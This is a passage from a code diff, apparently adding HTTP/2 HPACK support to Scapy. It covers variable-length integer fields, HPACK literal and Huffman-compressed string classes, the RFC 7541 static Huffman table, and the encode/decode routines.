+            value += (byte ^ 0x80) << (7 * (i - 1))
+            if value > max_value:
+                raise error.Scapy_Exception(
+                    'out-of-bound value: the string encodes a value that is too large (>2^{64}): {}'.format(value)
+                )
+            i += 1
+            assert i < l, 'EINVAL: x: out-of-bound read: the string ends before the AbstractUVarIntField!'
+            byte = orb(s[i])
+        value += byte << (7 * (i - 1))
+        value += self._max_value
+
+        assert(value >= 0)
+        return value
+
+    def m2i(self, pkt, x):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int
+        """
+          A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits
+          were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must
+          equal "size".
+
+        @param packet.Packet|None pkt: unused.
+        @param str|(str, int) x: the string to convert. If bits were consumed by a previous bitfield-compatible field.
+        @raise AssertionError
+        """
+        assert(isinstance(x, bytes) or (isinstance(x, tuple) and x[1] >= 0))
+
+        if isinstance(x, tuple):
+            assert (8 - x[1]) == self.size, 'EINVAL: x: not enough bits remaining in current byte to read the prefix'
+            val = x[0]
+        else:
+            assert isinstance(x, bytes) and self.size == 8, 'EINVAL: x: tuple expected when prefix_len is not a full byte'
+            val = x
+
+        if self._detect_multi_byte(val[0]):
+            ret = self._parse_multi_byte(val)
+        else:
+            ret = orb(val[0]) & self._max_value
+
+        assert(ret >= 0)
+        return ret
+
+    def i2m(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> str
+        """
+        @param packet.Packet|None pkt: unused.
+        @param int x: the value to convert.
+        @return str: the converted value.
+        @raise AssertionError
+        """
+        assert(x >= 0)
+
+        if x < self._max_value:
+            return chb(x)
+        else:
+            # The sl list join is a performance trick, because string
+            # concatenation is not efficient with Python immutable strings
+            sl = [chb(self._max_value)]
+            x -= self._max_value
+            while x >= 0x80:
+                sl.append(chb(0x80 | (x & 0x7F)))
+                x >>= 7
+            sl.append(chb(x))
+            return b''.join(sl)
+
+    def any2i(self, pkt, x):
+        # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int]
+        """
+          A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value.
+          None is returned as is.
+
+        @param packet.Packet|None pkt: the packet containing this field; probably unused.
+        @param str|int|None x: the value to convert.
+        @return int|None: the converted value.
+        @raise AssertionError
+        """
+        if isinstance(x, type(None)):
+            return x
+        if isinstance(x, six.integer_types):
+            assert(x >= 0)
+            ret = self.h2i(pkt, x)
+            assert(isinstance(ret, six.integer_types) and ret >= 0)
+            return ret
+        elif isinstance(x, bytes):
+            ret = self.m2i(pkt, x)
+            assert (isinstance(ret, six.integer_types) and ret >= 0)
+            return ret
+        assert False, 'EINVAL: x: No idea what the parameter format is'
+
+    def i2repr(self, pkt, x):
+        # type: (Optional[packet.Packet], Optional[int]) -> str
+        """
+        @param packet.Packet|None pkt: probably unused.
+        @param x: int|None: the positive, null or none value to convert.
+        @return str: the representation of the value.
+        """
+        return repr(self.i2h(pkt, x))
+
+    def addfield(self, pkt, s, val):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str
+        """ An AbstractUVarIntField prefix always consumes the remaining bits
+          of a BitField;if no current BitField is in use (no tuple in
+          entry) then the prefix length is 8 bits and the whole byte is to
+          be consumed
+        @param packet.Packet|None pkt: the packet containing this field. Probably unused.
+        @param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already
+          generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the
+          number of bits already generated in the first byte of the str. The long is the value that was generated by the
+          previous bitfield-compatible fields.
+        @param int val: the positive or null value to be added.
+        @return str: s concatenated with the machine representation of this field.
+        @raise AssertionError
+        """
+        assert(val >= 0)
+        if isinstance(s, bytes):
+            assert self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte'
+            return s + self.i2m(pkt, val)
+
+        # s is a tuple
+        #assert(s[1] >= 0)
+        #assert(s[2] >= 0)
+        #assert (8 - s[1]) == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix'
+
+        if val >= self._max_value:
+            return s[0] + chb((s[2] << self.size) + self._max_value) + self.i2m(pkt, val)[1:]
+        # This AbstractUVarIntField is only one byte long; setting the prefix value
+        # and appending the resulting byte to the string
+        return chb(s[0]) + chb((s[2] << self.size) + orb(self.i2m(pkt, val)))
+
+    @staticmethod
+    def _detect_bytelen_from_str(s):
+        # type: (str) -> int
+        """ _detect_bytelen_from_str returns the length of the machine
+          representation of an AbstractUVarIntField starting at the beginning
+          of s and which is assumed to expand over multiple bytes
+          (value > _max_prefix_value).
+
+        @param str s: the string to parse. It is assumed that it is a multibyte int.
+        @return The bytelength of the AbstractUVarIntField.
+        @raise AssertionError
+        """
+        assert(len(s) >= 2)
+        l = len(s)
+
+        i = 1
+        while orb(s[i]) & 0x80 > 0:
+            i += 1
+            assert i < l, 'EINVAL: s: out-of-bound read: unfinished AbstractUVarIntField detected'
+        ret = i + 1
+
+        assert(ret >= 0)
+        return ret
+
+    def i2len(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: unused.
+        @param int x: the positive or null value whose binary size if requested.
+        @raise AssertionError
+        """
+        assert(x >= 0)
+        if x < self._max_value:
+            return 1
+
+        # x is expressed over multiple bytes
+        x -= self._max_value
+        i = 1
+        if x == 0:
+            i += 1
+        while x > 0:
+            x >>= 7
+            i += 1
+
+        ret = i
+        assert(ret >= 0)
+        return ret
+
+    def getfield(self, pkt, s):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[str, int]
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field; probably unused.
+        @param str|(str, int) s: the input value to get this field value from. If size is 8, s is a string, else
+        it is a tuple containing the value and an int indicating the number of bits already consumed in the first byte
+        of the str. The number of remaining bits to consume in the first byte must be equal to "size".
+        @return (str, int): the remaining bytes of s and the parsed value.
+        @raise AssertionError
+        """
+        if isinstance(s, tuple):
+            assert(len(s) == 2)
+            temp = s  # type: Tuple[str, int]
+            ts, ti = temp
+            assert(ti >= 0)
+            assert 8 - ti == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix'
+            val = ts
+        else:
+            assert isinstance(s, bytes) and self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte'
+            val = s
+
+        if self._detect_multi_byte(val[0]):
+            l = self._detect_bytelen_from_str(val)
+        else:
+            l = 1
+
+        ret = val[l:], self.m2i(pkt, s)
+        assert(ret[1] >= 0)
+        return ret
+
+    def randval(self):
+        # type: () -> volatile.VolatileValue
+        """
+        @return volatile.VolatileValue: a volatile value for this field "long"-compatible internal value.
+        """
+        return volatile.RandLong()
+
+
+class UVarIntField(AbstractUVarIntField):
+    def __init__(self, name, default, size):
+        # type: (str, int, int) -> None
+        """
+        @param str name: the name of this field instance.
+        @param default: the default value for this field instance. default must be positive or null.
+        @raise AssertionError
+        """
+        assert(default >= 0)
+        assert(0 < size <= 8)
+
+        super(UVarIntField, self).__init__(name, default, size)
+        self.size = size
+        self._max_value = (1 << self.size) - 1
+
+        # Configuring the fake property that is useless for this class but that is
+        # expected from BitFields
+        self.rev = False
+
+    def h2i(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """ h2i is overloaded to restrict the acceptable x values (not None)
+
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param int x: the value to convert.
+        @return int: the converted value.
+        @raise AssertionError
+        """
+        ret = super(UVarIntField, self).h2i(pkt, x)
+        assert(not isinstance(ret, type(None)) and ret >= 0)
+        return ret
+
+    def i2h(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """ i2h is overloaded to restrict the acceptable x values (not None)
+
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param int x: the value to convert.
+        @return int: the converted value.
+        @raise AssertionError
+        """
+        ret = super(UVarIntField, self).i2h(pkt, x)
+        assert(not isinstance(ret, type(None)) and ret >= 0)
+        return ret
+
+    def any2i(self, pkt, x):
+        # type: (Optional[packet.Packet], Union[str, int]) -> int
+        """ any2i is overloaded to restrict the acceptable x values (not None)
+
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param str|int x: the value to convert.
+        @return int: the converted value.
+        @raise AssertionError
+        """
+        ret = super(UVarIntField, self).any2i(pkt, x)
+        assert(not isinstance(ret, type(None)) and ret >= 0)
+        return ret
+
+    def i2repr(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> str
+        """ i2repr is overloaded to restrict the acceptable x values (not None)
+
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param int x: the value to convert.
+        @return str: the converted value.
+        """
+        return super(UVarIntField, self).i2repr(pkt, x)
+
+
+class FieldUVarLenField(AbstractUVarIntField):
+    __slots__ = ['_length_of', '_adjust']
+
+    def __init__(self, name, default, size, length_of, adjust=lambda x: x):
+        # type: (str, Optional[int], int, str, Callable[[int], int]) -> None
+        """ Initializes a FieldUVarLenField
+
+        @param str name: The name of this field instance.
+        @param int|None default: the default value of this field instance.
+        @param int size: the number of bits that are occupied by this field in the first byte of a binary string.
+          size must be in the range ]0;8].
+        @param str length_of: The name of the field this field value is measuring/representing.
+        @param callable adjust: A function that modifies the value computed from the "length_of" field.
+
+        adjust can be used for instance to add a constant to the length_of field
+         length. For instance, let's say that i2len of the length_of field
+         returns 2. If adjust is lambda x: x+1 In that case, this field will
+         value 3 at build time.
+        @return None
+        @raise AssertionError
+        """
+        assert(default is None or default >= 0)
+        assert(0 < size <= 8)
+
+        super(FieldUVarLenField, self).__init__(name, default, size)
+        self._length_of = length_of
+        self._adjust = adjust
+
+    def addfield(self, pkt, s, val):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], Optional[int]) -> str
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be
+          None if the val parameter is.
+        @param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already
+          generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the
+          number of bits already generated in the first byte of the str. The long is the value that was generated by the
+          previous bitfield-compatible fields.
+        @param int|None val: the positive or null value to be added. If None, the value is computed from pkt.
+        @return str: s concatenated with the machine representation of this field.
+        @raise AssertionError
+        """
+        if val is None:
+            assert isinstance(pkt, packet.Packet), \
+                'EINVAL: pkt: Packet expected when val is None; received {}'.format(type(pkt))
+            val = self._compute_value(pkt)
+        return super(FieldUVarLenField, self).addfield(pkt, s, val)
+
+    def i2m(self, pkt, x):
+        # type: (Optional[packet.Packet], Optional[int]) -> str
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be
+          None if the x parameter is.
+        @param int|None x: the positive or null value to be added. If None, the value is computed from pkt.
+        @return str
+        @raise AssertionError
+        """
+        if x is None:
+            assert isinstance(pkt, packet.Packet), \
+                'EINVAL: pkt: Packet expected when x is None; received {}'.format(type(pkt))
+            x = self._compute_value(pkt)
+        return super(FieldUVarLenField, self).i2m(pkt, x)
+
+    def _compute_value(self, pkt):
+        # type: (packet.Packet) -> int
+        """ Computes the value of this field based on the provided packet and
+        the length_of field and the adjust callback
+
+        @param packet.Packet pkt: the packet from which is computed this field value.
+        @return int: the computed value for this field.
+        @raise KeyError: the packet nor its payload do not contain an attribute
+          with the length_of name.
+        @raise AssertionError
+        @raise KeyError if _length_of is not one of pkt fields
+        """
+        fld, fval = pkt.getfield_and_val(self._length_of)
+        val = fld.i2len(pkt, fval)
+        ret = self._adjust(val)
+        assert(ret >= 0)
+        return ret
+
+########################################################################################################################
+################################################ HPACK String Fields ###################################################
+########################################################################################################################
+
+class HPackStringsInterface(six.with_metaclass(abc.ABCMeta, Sized)):
+    @abc.abstractmethod
+    def __str__(self): pass
+
+    def __bytes__(self):
+        r = self.__str__()
+        return r if isinstance(r, bytes) else raw(r)
+
+    @abc.abstractmethod
+    def origin(self): pass
+
+    @abc.abstractmethod
+    def __len__(self): pass
+
+
+class HPackLiteralString(HPackStringsInterface):
+    """ HPackLiteralString is a string. This class is used as a marker and
+    implements an interface in common with HPackZString
+    """
+    __slots__ = ['_s']
+
+    def __init__(self, s):
+        # type: (str) -> None
+        self._s = s
+
+    def __str__(self):
+        # type: () -> str
+        return self._s
+
+    def origin(self):
+        # type: () -> str
+        return plain_str(self._s)
+
+    def __len__(self):
+        # type: () -> int
+        return len(self._s)
+
+
+class EOS(object):
+    """ Simple "marker" to designate the End Of String symbol in the huffman table
+    """
+
+
+class HuffmanNode(object):
+    """ HuffmanNode is an entry of the binary tree used for encoding/decoding
+    HPack compressed HTTP/2 headers
+    """
+
+    __slots__ = ['l', 'r']
+    """@var l: the left branch of this node
+    @var r: the right branch of this Node
+
+    These variables can value None (leaf node), another HuffmanNode, or a
+     symbol. Symbols are either a character or the End Of String symbol (class
+     EOS)
+    """
+
+    def __init__(self, l, r):
+        # type: (Union[None, HuffmanNode, EOS, str], Union[None, HuffmanNode, EOS, str]) -> None
+        self.l = l
+        self.r = r
+
+    def __getitem__(self, b):
+        # type: (int) -> Union[None, HuffmanNode, EOS, str]
+        return self.r if b else self.l
+
+    def __setitem__(self, b, val):
+        # type: (int, Union[None, HuffmanNode, EOS, str]) -> None
+        if b:
+            self.r = val
+        else:
+            self.l = val
+
+    def __str__(self):
+        # type: () -> str
+        return self.__repr__()
+
+    def __repr__(self):
+        # type: () -> str
+        return '({}, {})'.format(self.l, self.r)
+
+
+class InvalidEncodingException(Exception):
+    """ InvalidEncodingException is raised when a supposedly huffman-encoded
+     string is decoded and a decoding error arises
+    """
+
+
+class HPackZString(HPackStringsInterface):
+    __slots__ = ['_s', '_encoded']
+
+    # From RFC 7541
+    # Tuple is (code,code bitlength)
+    # The bitlength is required to know how long the left padding
+    # (implicit 0's) there are
+    static_huffman_code = [
+        (0x1ff8, 13),
+        (0x7fffd8, 23),
+        (0xfffffe2, 28),
+        (0xfffffe3, 28),
+        (0xfffffe4, 28),
+        (0xfffffe5, 28),
+        (0xfffffe6, 28),
+        (0xfffffe7, 28),
+        (0xfffffe8, 28),
+        (0xffffea, 24),
+        (0x3ffffffc, 30),
+        (0xfffffe9, 28),
+        (0xfffffea, 28),
+        (0x3ffffffd, 30),
+        (0xfffffeb, 28),
+        (0xfffffec, 28),
+        (0xfffffed, 28),
+        (0xfffffee, 28),
+        (0xfffffef, 28),
+        (0xffffff0, 28),
+        (0xffffff1, 28),
+        (0xffffff2, 28),
+        (0x3ffffffe, 30),
+        (0xffffff3, 28),
+        (0xffffff4, 28),
+        (0xffffff5, 28),
+        (0xffffff6, 28),
+        (0xffffff7, 28),
+        (0xffffff8, 28),
+        (0xffffff9, 28),
+        (0xffffffa, 28),
+        (0xffffffb, 28),
+        (0x14, 6),
+        (0x3f8, 10),
+        (0x3f9, 10),
+        (0xffa, 12),
+        (0x1ff9, 13),
+        (0x15, 6),
+        (0xf8, 8),
+        (0x7fa, 11),
+        (0x3fa, 10),
+        (0x3fb, 10),
+        (0xf9, 8),
+        (0x7fb, 11),
+        (0xfa, 8),
+        (0x16, 6),
+        (0x17, 6),
+        (0x18, 6),
+        (0x0, 5),
+        (0x1, 5),
+        (0x2, 5),
+        (0x19, 6),
+        (0x1a, 6),
+        (0x1b, 6),
+        (0x1c, 6),
+        (0x1d, 6),
+        (0x1e, 6),
+        (0x1f, 6),
+        (0x5c, 7),
+        (0xfb, 8),
+        (0x7ffc, 15),
+        (0x20, 6),
+        (0xffb, 12),
+        (0x3fc, 10),
+        (0x1ffa, 13),
+        (0x21, 6),
+        (0x5d, 7),
+        (0x5e, 7),
+        (0x5f, 7),
+        (0x60, 7),
+        (0x61, 7),
+        (0x62, 7),
+        (0x63, 7),
+        (0x64, 7),
+        (0x65, 7),
+        (0x66, 7),
+        (0x67, 7),
+        (0x68, 7),
+        (0x69, 7),
+        (0x6a, 7),
+        (0x6b, 7),
+        (0x6c, 7),
+        (0x6d, 7),
+        (0x6e, 7),
+        (0x6f, 7),
+        (0x70, 7),
+        (0x71, 7),
+        (0x72, 7),
+        (0xfc, 8),
+        (0x73, 7),
+        (0xfd, 8),
+        (0x1ffb, 13),
+        (0x7fff0, 19),
+        (0x1ffc, 13),
+        (0x3ffc, 14),
+        (0x22, 6),
+        (0x7ffd, 15),
+        (0x3, 5),
+        (0x23, 6),
+        (0x4, 5),
+        (0x24, 6),
+        (0x5, 5),
+        (0x25, 6),
+        (0x26, 6),
+        (0x27, 6),
+        (0x6, 5),
+        (0x74, 7),
+        (0x75, 7),
+        (0x28, 6),
+        (0x29, 6),
+        (0x2a, 6),
+        (0x7, 5),
+        (0x2b, 6),
+        (0x76, 7),
+        (0x2c, 6),
+        (0x8, 5),
+        (0x9, 5),
+        (0x2d, 6),
+        (0x77, 7),
+        (0x78, 7),
+        (0x79, 7),
+        (0x7a, 7),
+        (0x7b, 7),
+        (0x7ffe, 15),
+        (0x7fc, 11),
+        (0x3ffd, 14),
+        (0x1ffd, 13),
+        (0xffffffc, 28),
+        (0xfffe6, 20),
+        (0x3fffd2, 22),
+        (0xfffe7, 20),
+        (0xfffe8, 20),
+        (0x3fffd3, 22),
+        (0x3fffd4, 22),
+        (0x3fffd5, 22),
+        (0x7fffd9, 23),
+        (0x3fffd6, 22),
+        (0x7fffda, 23),
+        (0x7fffdb, 23),
+        (0x7fffdc, 23),
+        (0x7fffdd, 23),
+        (0x7fffde, 23),
+        (0xffffeb, 24),
+        (0x7fffdf, 23),
+        (0xffffec, 24),
+        (0xffffed, 24),
+        (0x3fffd7, 22),
+        (0x7fffe0, 23),
+        (0xffffee, 24),
+        (0x7fffe1, 23),
+        (0x7fffe2, 23),
+        (0x7fffe3, 23),
+        (0x7fffe4, 23),
+        (0x1fffdc, 21),
+        (0x3fffd8, 22),
+        (0x7fffe5, 23),
+        (0x3fffd9, 22),
+        (0x7fffe6, 23),
+        (0x7fffe7, 23),
+        (0xffffef, 24),
+        (0x3fffda, 22),
+        (0x1fffdd, 21),
+        (0xfffe9, 20),
+        (0x3fffdb, 22),
+        (0x3fffdc, 22),
+        (0x7fffe8, 23),
+        (0x7fffe9, 23),
+        (0x1fffde, 21),
+        (0x7fffea, 23),
+        (0x3fffdd, 22),
+        (0x3fffde, 22),
+        (0xfffff0, 24),
+        (0x1fffdf, 21),
+        (0x3fffdf, 22),
+        (0x7fffeb, 23),
+        (0x7fffec, 23),
+        (0x1fffe0, 21),
+        (0x1fffe1, 21),
+        (0x3fffe0, 22),
+        (0x1fffe2, 21),
+        (0x7fffed, 23),
+        (0x3fffe1, 22),
+        (0x7fffee, 23),
+        (0x7fffef, 23),
+        (0xfffea, 20),
+        (0x3fffe2, 22),
+        (0x3fffe3, 22),
+        (0x3fffe4, 22),
+        (0x7ffff0, 23),
+        (0x3fffe5, 22),
+        (0x3fffe6, 22),
+        (0x7ffff1, 23),
+        (0x3ffffe0, 26),
+        (0x3ffffe1, 26),
+        (0xfffeb, 20),
+        (0x7fff1, 19),
+        (0x3fffe7, 22),
+        (0x7ffff2, 23),
+        (0x3fffe8, 22),
+        (0x1ffffec, 25),
+        (0x3ffffe2, 26),
+        (0x3ffffe3, 26),
+        (0x3ffffe4, 26),
+        (0x7ffffde, 27),
+        (0x7ffffdf, 27),
+        (0x3ffffe5, 26),
+        (0xfffff1, 24),
+        (0x1ffffed, 25),
+        (0x7fff2, 19),
+        (0x1fffe3, 21),
+        (0x3ffffe6, 26),
+        (0x7ffffe0, 27),
+        (0x7ffffe1, 27),
+        (0x3ffffe7, 26),
+        (0x7ffffe2, 27),
+        (0xfffff2, 24),
+        (0x1fffe4, 21),
+        (0x1fffe5, 21),
+        (0x3ffffe8, 26),
+        (0x3ffffe9, 26),
+        (0xffffffd, 28),
+        (0x7ffffe3, 27),
+        (0x7ffffe4, 27),
+        (0x7ffffe5, 27),
+        (0xfffec, 20),
+        (0xfffff3, 24),
+        (0xfffed, 20),
+        (0x1fffe6, 21),
+        (0x3fffe9, 22),
+        (0x1fffe7, 21),
+        (0x1fffe8, 21),
+        (0x7ffff3, 23),
+        (0x3fffea, 22),
+        (0x3fffeb, 22),
+        (0x1ffffee, 25),
+        (0x1ffffef, 25),
+        (0xfffff4, 24),
+        (0xfffff5, 24),
+        (0x3ffffea, 26),
+        (0x7ffff4, 23),
+        (0x3ffffeb, 26),
+        (0x7ffffe6, 27),
+        (0x3ffffec, 26),
+        (0x3ffffed, 26),
+        (0x7ffffe7, 27),
+        (0x7ffffe8, 27),
+        (0x7ffffe9, 27),
+        (0x7ffffea, 27),
+        (0x7ffffeb, 27),
+        (0xffffffe, 28),
+        (0x7ffffec, 27),
+        (0x7ffffed, 27),
+        (0x7ffffee, 27),
+        (0x7ffffef, 27),
+        (0x7fffff0, 27),
+        (0x3ffffee, 26),
+        (0x3fffffff, 30)
+    ]
+
+    static_huffman_tree = None
+
+    @classmethod
+    def _huffman_encode_char(cls, c):
+        # type: (Union[str, EOS]) -> Tuple[int, int]
+        """ huffman_encode_char assumes that the static_huffman_tree was
+        previously initialized
+
+        @param str|EOS c: a symbol to encode
+        @return (int, int): the bitstring of the symbol and its bitlength
+        @raise AssertionError
+        """
+        if isinstance(c, EOS):
+            return cls.static_huffman_code[-1]
+        else:
+            assert(isinstance(c, int) or len(c) == 1)
+        return cls.static_huffman_code[orb(c)]
+
+    @classmethod
+    def huffman_encode(cls, s):
+        # type: (str) -> Tuple[int, int]
+        """ huffman_encode returns the bitstring and the bitlength of the
+        bitstring representing the string provided as a parameter
+
+        @param str s: the string to encode
+        @return (int, int): the bitstring of s and its bitlength
+        @raise AssertionError
+        """
+        i = 0
+        ibl = 0
+        for c in s:
+            val, bl = cls._huffman_encode_char(c)
+            i = (i << bl) + val
+            ibl += bl
+
+        padlen = 8 - (ibl % 8)
+        if padlen != 8:
+            val, bl = cls._huffman_encode_char(EOS())
+            i = (i << padlen) + (val >> (bl - padlen))
+            ibl += padlen
+
+        ret = i, ibl
+        assert(ret[0] >= 0)
+        assert (ret[1] >= 0)
+        return ret
+
+    @classmethod
+    def huffman_decode(cls, i, ibl):
+        # type: (int, int) -> str
+        """ huffman_decode decodes the bitstring provided as parameters.
+
+        @param int i: the bitstring to decode
+        @param int ibl: the bitlength of i
+        @return str: the string decoded from the bitstring
+        @raise AssertionError, InvalidEncodingException
+        """
+        assert(i >= 0)
+        assert(ibl >= 0)
+
+        if isinstance(cls.static_huffman_tree, type(None)):
+            cls.huffman_compute_decode_tree()
+        assert(not isinstance(cls.static_huffman_tree, type(None)))
+
+        s = []
+        j = 0
+        interrupted = False
+        cur = cls.static_huffman_tree
+        cur_sym = 0
+        cur_sym_bl = 0
+        while j < ibl:
+            b = (i >> (ibl - j - 1)) & 1
+            cur_sym = (cur_sym << 1) + b
+            cur_sym_bl += 1
+            elmt = cur[b]
+
+            if isinstance(elmt, HuffmanNode):
+                interrupted = True
+                cur = elmt
+                if isinstance(cur, type(None)):
+                    raise AssertionError()
+            elif isinstance(elmt, EOS):
+                raise InvalidEncodingException('Huffman decoder met the full EOS symbol')
+            elif isinstance(elmt, bytes):
+                interrupted = False
+                s.append(elmt)
+                cur = cls.static_huffman_tree
+                cur_sym = 0
+                cur_sym_bl = 0
+            else:
+                raise InvalidEncodingException('Should never happen, so incidentally it will')
+            j += 1
+
+        if interrupted:
+            # Interrupted values true if the bitstring ends in the middle of a
+            # symbol; this symbol must be, according to RFC7541 par5.2 the MSB
+            # of the EOS symbol
+            if cur_sym_bl > 7:
+                raise InvalidEncodingException('Huffman decoder is detecting padding longer than 7 bits')
+            eos_symbol = cls.static_huffman_code[-1]
+            eos_msb = eos_symbol[0] >> (eos_symbol[1] - cur_sym_bl)
+            if eos_msb != cur_sym:
+                raise InvalidEncodingException('Huffman decoder is detecting unexpected padding format')
+        return b''.join(s)
+
+    @classmethod
+    def huffman_conv2str(cls, bit_str, bit_len):
+        # type: (int, int) -> str
+        """ huffman_conv2str converts a bitstring of bit_len bitlength into a
+        binary string. It DOES NOT compress/decompress the bitstring!
+
+        @param int bit_str: the bitstring to convert.
+        @param int bit_len: the bitlength of bit_str.
+        @return str: the converted bitstring as a bytestring.
+        @raise AssertionError
+        """
+        assert(bit_str >= 0)
+        assert(bit_len >= 0)
+
+        byte_len = bit_len // 8
+        rem_bit = bit_len % 8
+        if rem_bit != 0:
+            bit_str <<= 8 - rem_bit
+            byte_len += 1
+
+        # As usual the list/join tricks is a performance trick to build
+        # efficiently a Python string
+        s = []  # type: List[str]
+        i = 0
+        while i < byte_len:
+            s.insert(0, chb((bit_str >> (i*8)) & 0xFF))
+            i += 1
+        return b''.join(s)
+
+    @classmethod
+    def huffman_conv2bitstring(cls, s):
+        # type: (str) -> Tuple[int, int]
+        """ huffman_conv2bitstring converts a string into its bitstring
+        representation. It returns a tuple: the bitstring and its bitlength.
+        This function DOES NOT compress/decompress the string!
+
+        @param str s: the bytestring to convert.
+        @return (int, int): the bitstring of s, and its bitlength.
+        @raise AssertionError
+        """
+        i = 0
+        ibl = len(s) * 8
+        for c in s:
+            i = (i << 8) + orb(c)
+
+        ret = i, ibl
+        assert(ret[0] >= 0)
+        assert(ret[1] >= 0)
+        return ret
+
+    @classmethod
+    def huffman_compute_decode_tree(cls):
+        # type: () -> None
+        """ huffman_compute_decode_tree initializes/builds the static_huffman_tree
+
+        @return None
+        @raise InvalidEncodingException if there is an encoding problem
+        """
+        cls.static_huffman_tree = HuffmanNode(None, None)
+        i = 0
+        for entry in cls.static_huffman_code:
+            parent = cls.static_huffman_tree
+            for idx in range(entry[1] - 1, -1, -1):
+                b = (entry[0] >> idx) & 1
+                if isinstance(parent[b], bytes):
+                    raise InvalidEncodingException('Huffman unique prefix violation :/')
+                if idx == 0:
+                    parent[b] = chb(i) if i < 256 else EOS()
+                elif parent[b] is None:
+                    parent[b] = HuffmanNode(None, None)
+                parent = parent[b]
+            i += 1
+
+    def __init__(self, s):
+        # type: (str) -> None
+        self._s = s
+        i, ibl = type(self).huffman_encode(s)
+        self._encoded = type(self).huffman_conv2str(i, ibl)
+
+    def __str__(self):
+        # type: () -> str
+        return self._encoded
+
+    def origin(self):
+        # type: () -> str
+        return plain_str(self._s)
+
+    def __len__(self):
+        # type: () -> int
+        return len(self._encoded)
+
+
+class HPackStrLenField(fields.Field):
+    """ HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack
+
+    This variant uses an internal representation that implements HPackStringsInterface.
+    """
+    __slots__ = ['_length_from', '_type_from']
+
+    def __init__(self, name, default, length_from, type_from):
+        # type: (str, HPackStringsInterface, Callable[[packet.Packet], int], str) -> None
+        super(HPackStrLenField, self).__init__(name, default)
+        self._length_from = length_from
+        self._type_from = type_from
+
+    def addfield(self, pkt, s, val):
+        # type: (Optional[packet.Packet], str, HPackStringsInterface) -> str
+        return s + self.i2m(pkt, val)
+
+    @staticmethod
+    def _parse(t, s):
+        # type: (bool, str) -> HPackStringsInterface
+        """
+        @param bool t: whether this string is a huffman compressed string.
+        @param str s: the string to parse.
+        @return HPackStringsInterface: either a HPackLiteralString or HPackZString, depending on t.
+        @raise InvalidEncodingException
+        """
+        if t:
+            i, ibl = HPackZString.huffman_conv2bitstring(s)
+            return HPackZString(HPackZString.huffman_decode(i, ibl))
+        return HPackLiteralString(s)
+
+    def getfield(self, pkt, s):
+        # type: (packet.Packet, str) -> Tuple[str, HPackStringsInterface]
+        """
+        @param packet.Packet pkt: the packet instance containing this field instance.
+        @param str s: the string to parse this field from.
+        @return (str, HPackStringsInterface): the remaining string after this field was carved out & the extracted
+          value.
+        @raise KeyError if "type_from" is not a field of pkt or its payloads.
+        @raise InvalidEncodingException
+        """
+        l = self._length_from(pkt)
+        t = pkt.getfieldval(self._type_from) == 1
+        return s[l:], self._parse(t, s[:l])
+
+    def i2h(self, pkt, x):
+        # type: (Optional[packet.Packet], HPackStringsInterface) -> str
+        fmt = ''
+        if isinstance(x, HPackLiteralString):
+            fmt = "HPackLiteralString({})"
+        elif isinstance(x, HPackZString):
+            fmt = "HPackZString({})"
+        return fmt.format(x.origin())
+
+    def h2i(self, pkt, x):
+        # type: (packet.Packet, str) -> HPackStringsInterface
+        return HPackLiteralString(x)
+
+    def m2i(self, pkt, x):
+        # type: (packet.Packet, str) -> HPackStringsInterface
+        """
+        @param packet.Packet pkt: the packet instance containing this field instance.
+        @param str x: the string to parse.
+        @return HPackStringsInterface: the internal type of the value parsed from x.
+        @raise AssertionError
+        @raise InvalidEncodingException
+        @raise KeyError if _type_from is not one of pkt fields.
+        """
+        t = pkt.getfieldval(self._type_from)
+        l = self._length_from(pkt)
+
+        assert t is not None and l is not None, 'Conversion from string impossible: no type or length specified'
+
+        return self._parse(t == 1, x[:l])
+
+    def any2i(self, pkt, x):
+        # type: (Optional[packet.Packet], Union[str, HPackStringsInterface]) -> HPackStringsInterface
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance.
+        @param str|HPackStringsInterface x: the value to convert
+        @return HPackStringsInterface: the Scapy internal value for this field
+        @raise AssertionError, InvalidEncodingException
+        """
+        if isinstance(x, bytes):
+            assert(isinstance(pkt, packet.Packet))
+            return self.m2i(pkt, x)
+        assert(isinstance(x, HPackStringsInterface))
+        return x
+
+    def i2m(self, pkt, x):
+        # type: (Optional[packet.Packet], HPackStringsInterface) -> str
+        return raw(x)
+
+    def i2len(self, pkt, x):
+        # type: (Optional[packet.Packet], HPackStringsInterface) -> int
+        return len(x)
+
+    def i2repr(self, pkt, x):
+        # type: (Optional[packet.Packet], HPackStringsInterface) -> str
+        return repr(self.i2h(pkt, x))
+
+########################################################################################################################
+################################################ HPACK Packets #########################################################
+########################################################################################################################
+
+class HPackHdrString(packet.Packet):
+    """ HPackHdrString is a packet that that is serialized into a RFC7541 par5.2
+    string literal repr.
+    """
+    name = 'HPack Header String'
